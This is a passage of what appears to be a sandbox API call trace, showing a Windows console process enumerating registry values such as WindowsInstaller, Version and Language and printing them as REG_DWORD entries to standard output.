dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.313] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.313] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.313] __iob_func () returned 0x7fefd702a80 [0151.313] _fileno (_File=0x7fefd702ab0) returned 1 [0151.313] _errno () returned 0x204bb0 [0151.313] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.313] _errno () returned 0x204bb0 [0151.313] GetFileType (hFile=0x50) returned 0x1 [0151.313] lstrlenW (lpString="REG_DWORD") returned 9 [0151.313] GetConsoleOutputCP () returned 0x1b5 [0151.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.313] GetConsoleOutputCP () returned 0x1b5 [0151.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.313] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.313] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.313] __iob_func () returned 0x7fefd702a80 [0151.313] _fileno (_File=0x7fefd702ab0) returned 1 [0151.313] _errno () returned 0x204bb0 [0151.313] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.313] _errno () returned 0x204bb0 [0151.313] GetFileType (hFile=0x50) returned 0x1 [0151.313] lstrlenW (lpString=" ") returned 4 [0151.313] GetConsoleOutputCP () returned 0x1b5 [0151.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.314] GetConsoleOutputCP () returned 0x1b5 [0151.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.314] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.314] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.314] __iob_func () returned 0x7fefd702a80 [0151.314] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.314] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0151.314] _fileno (_File=0x7fefd702ab0) returned 1 [0151.314] _errno () returned 0x204bb0 [0151.314] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.314] _errno () returned 0x204bb0 [0151.314] GetFileType (hFile=0x50) returned 0x1 [0151.314] lstrlenW (lpString="0x0") returned 3 [0151.314] GetConsoleOutputCP () returned 0x1b5 [0151.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.314] GetConsoleOutputCP () returned 0x1b5 [0151.314] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0151.314] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.314] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.314] __iob_func () returned 0x7fefd702a80 [0151.314] _fileno (_File=0x7fefd702ab0) returned 1 [0151.314] _errno () returned 0x204bb0 [0151.315] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.315] _errno () returned 0x204bb0 [0151.315] GetFileType (hFile=0x50) returned 0x1 [0151.315] lstrlenW (lpString="\n") returned 1 [0151.315] GetConsoleOutputCP () returned 0x1b5 [0151.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.315] GetConsoleOutputCP () returned 0x1b5 [0151.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.315] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.315] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.315] GetProcessHeap () returned 0x3c0000 [0151.315] GetProcessHeap () returned 0x3c0000 [0151.315] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.315] GetProcessHeap () returned 0x3c0000 [0151.315] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.315] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.315] RegEnumValueW (in: hKey=0x5c, dwIndex=0x15, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="WindowsInstaller", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.315] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.315] GetProcessHeap () returned 0x3c0000 [0151.315] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.315] GetProcessHeap () returned 0x3c0000 [0151.315] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.315] GetProcessHeap () returned 0x3c0000 [0151.315] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.315] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="WindowsInstaller", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x1, pcbData=0x29f780*=0x4) returned 0x0 [0151.315] __iob_func () returned 0x7fefd702a80 [0151.315] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.315] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.316] _fileno (_File=0x7fefd702ab0) returned 1 [0151.316] _errno () returned 0x204bb0 [0151.316] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.316] _errno () returned 0x204bb0 [0151.316] GetFileType (hFile=0x50) returned 0x1 [0151.316] lstrlenW (lpString=" ") returned 4 [0151.316] GetConsoleOutputCP () returned 0x1b5 [0151.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.316] GetConsoleOutputCP () returned 0x1b5 [0151.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.316] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.316] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.316] lstrlenW (lpString="WindowsInstaller") returned 16 [0151.316] __iob_func () returned 0x7fefd702a80 [0151.316] _fileno (_File=0x7fefd702ab0) returned 1 [0151.316] _errno () returned 0x204bb0 [0151.316] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.316] _errno () returned 0x204bb0 [0151.316] GetFileType (hFile=0x50) returned 0x1 [0151.316] lstrlenW (lpString="WindowsInstaller") returned 16 [0151.316] GetConsoleOutputCP () returned 0x1b5 [0151.316] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0151.316] GetConsoleOutputCP () returned 0x1b5 [0151.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="WindowsInstaller", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsInstaller", lpUsedDefaultChar=0x0) returned 16 [0151.317] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0151.317] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.317] __iob_func () returned 0x7fefd702a80 [0151.317] _fileno (_File=0x7fefd702ab0) returned 1 [0151.317] _errno () returned 0x204bb0 [0151.317] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.317] _errno () returned 0x204bb0 [0151.317] GetFileType (hFile=0x50) returned 0x1 [0151.317] lstrlenW (lpString=" ") returned 4 [0151.317] GetConsoleOutputCP () returned 0x1b5 [0151.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.317] GetConsoleOutputCP () returned 0x1b5 [0151.317] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.317] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.317] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.317] __iob_func () returned 0x7fefd702a80 [0151.317] _fileno (_File=0x7fefd702ab0) returned 1 [0151.317] _errno () returned 0x204bb0 [0151.317] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.317] _errno () returned 0x204bb0 [0151.317] GetFileType (hFile=0x50) returned 0x1 [0151.317] lstrlenW (lpString="REG_DWORD") returned 9 [0151.317] GetConsoleOutputCP () returned 0x1b5 [0151.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.318] GetConsoleOutputCP () returned 0x1b5 [0151.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.318] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.318] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.318] __iob_func () returned 0x7fefd702a80 [0151.318] _fileno (_File=0x7fefd702ab0) returned 1 [0151.318] _errno () returned 0x204bb0 [0151.318] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.318] _errno () returned 0x204bb0 [0151.318] GetFileType (hFile=0x50) returned 0x1 [0151.318] lstrlenW (lpString=" ") returned 4 [0151.318] GetConsoleOutputCP () returned 0x1b5 [0151.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.318] GetConsoleOutputCP () returned 0x1b5 [0151.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.318] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.318] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.318] __iob_func () returned 0x7fefd702a80 [0151.318] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.318] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x1") returned 3 [0151.318] _fileno (_File=0x7fefd702ab0) returned 1 [0151.319] _errno () returned 0x204bb0 [0151.319] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.319] _errno () returned 0x204bb0 [0151.319] GetFileType (hFile=0x50) returned 0x1 [0151.319] lstrlenW (lpString="0x1") returned 3 [0151.319] GetConsoleOutputCP () returned 0x1b5 [0151.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0151.319] GetConsoleOutputCP () returned 0x1b5 [0151.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0151.319] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0151.319] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.319] __iob_func () returned 0x7fefd702a80 [0151.319] _fileno (_File=0x7fefd702ab0) returned 1 [0151.319] _errno () returned 0x204bb0 [0151.319] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.319] _errno () returned 0x204bb0 [0151.319] GetFileType (hFile=0x50) returned 0x1 [0151.319] lstrlenW (lpString="\n") returned 1 [0151.319] GetConsoleOutputCP () returned 0x1b5 [0151.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.319] GetConsoleOutputCP () returned 0x1b5 [0151.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.319] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.319] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.320] GetProcessHeap () returned 0x3c0000 [0151.320] GetProcessHeap () returned 0x3c0000 [0151.320] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.320] GetProcessHeap () returned 0x3c0000 [0151.320] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.320] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.320] RegEnumValueW (in: hKey=0x5c, dwIndex=0x16, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Version", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.320] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0151.320] GetProcessHeap () returned 0x3c0000 [0151.320] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0151.320] GetProcessHeap () returned 0x3c0000 [0151.320] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.320] GetProcessHeap () returned 0x3c0000 [0151.320] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.320] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Version", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0xc00520d, pcbData=0x29f780*=0x4) returned 0x0 [0151.320] __iob_func () returned 0x7fefd702a80 [0151.320] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.320] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0151.320] _fileno (_File=0x7fefd702ab0) returned 1 [0151.320] _errno () returned 0x204bb0 [0151.320] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.320] _errno () returned 0x204bb0 [0151.320] GetFileType (hFile=0x50) returned 0x1 [0151.320] lstrlenW (lpString=" ") returned 4 [0151.320] GetConsoleOutputCP () returned 0x1b5 [0151.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.320] GetConsoleOutputCP () returned 0x1b5 [0151.320] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.321] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.321] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.321] lstrlenW (lpString="Version") returned 7 [0151.321] __iob_func () returned 0x7fefd702a80 [0151.321] _fileno (_File=0x7fefd702ab0) returned 1 [0151.321] _errno () returned 0x204bb0 [0151.321] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.321] _errno () returned 0x204bb0 [0151.321] GetFileType (hFile=0x50) returned 0x1 [0151.321] lstrlenW (lpString="Version") returned 7 [0151.321] GetConsoleOutputCP () returned 0x1b5 [0151.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0151.321] GetConsoleOutputCP () returned 0x1b5 [0151.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Version", cchWideChar=7, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Version", lpUsedDefaultChar=0x0) returned 7 [0151.321] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 7 [0151.321] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.321] __iob_func () returned 0x7fefd702a80 [0151.321] _fileno (_File=0x7fefd702ab0) returned 1 [0151.321] _errno () returned 0x204bb0 [0151.321] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.321] _errno () returned 0x204bb0 [0151.321] GetFileType (hFile=0x50) returned 0x1 [0151.321] lstrlenW (lpString=" ") returned 4 [0151.321] GetConsoleOutputCP () returned 0x1b5 [0151.321] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.322] GetConsoleOutputCP () returned 0x1b5 [0151.322] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.322] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.322] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.322] __iob_func () returned 0x7fefd702a80 [0151.322] _fileno (_File=0x7fefd702ab0) returned 1 [0151.322] _errno () returned 0x204bb0 [0151.322] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.322] _errno () returned 0x204bb0 [0151.322] GetFileType (hFile=0x50) returned 0x1 [0151.322] lstrlenW (lpString="REG_DWORD") returned 9 [0151.322] GetConsoleOutputCP () returned 0x1b5 [0151.322] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.322] GetConsoleOutputCP () returned 0x1b5 [0151.322] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0151.322] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.322] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.322] __iob_func () returned 0x7fefd702a80 [0151.322] _fileno (_File=0x7fefd702ab0) returned 1 [0151.322] _errno () returned 0x204bb0 [0151.322] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.322] _errno () returned 0x204bb0 [0151.322] GetFileType (hFile=0x50) returned 0x1 [0151.322] lstrlenW (lpString=" ") returned 4 [0151.322] GetConsoleOutputCP () returned 0x1b5 [0151.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0151.323] GetConsoleOutputCP () returned 0x1b5 [0151.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0151.323] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0151.323] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.323] __iob_func () returned 0x7fefd702a80 [0151.323] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0151.323] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0xc00520d") returned 9 [0151.323] _fileno (_File=0x7fefd702ab0) returned 1 [0151.323] _errno () returned 0x204bb0 [0151.323] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.323] _errno () returned 0x204bb0 [0151.323] GetFileType (hFile=0x50) returned 0x1 [0151.323] lstrlenW (lpString="0xc00520d") returned 9 [0151.323] GetConsoleOutputCP () returned 0x1b5 [0151.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc00520d", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0151.323] GetConsoleOutputCP () returned 0x1b5 [0151.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0xc00520d", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0xc00520d", lpUsedDefaultChar=0x0) returned 9 [0151.323] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0151.323] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.323] __iob_func () returned 0x7fefd702a80 [0151.324] _fileno (_File=0x7fefd702ab0) returned 1 [0151.324] _errno () returned 0x204bb0 [0151.324] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.324] _errno () returned 0x204bb0 [0151.324] GetFileType (hFile=0x50) returned 0x1 [0151.324] lstrlenW (lpString="\n") returned 1 [0151.324] GetConsoleOutputCP () returned 0x1b5 [0151.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0151.324] GetConsoleOutputCP () returned 0x1b5 [0151.324] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0151.324] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0151.324] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0151.324] GetProcessHeap () returned 0x3c0000 [0151.324] GetProcessHeap () returned 0x3c0000 [0151.324] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0151.324] GetProcessHeap () returned 0x3c0000 [0151.324] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0151.324] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0151.324] RegEnumValueW (in: hKey=0x5c, dwIndex=0x17, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0151.324] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, 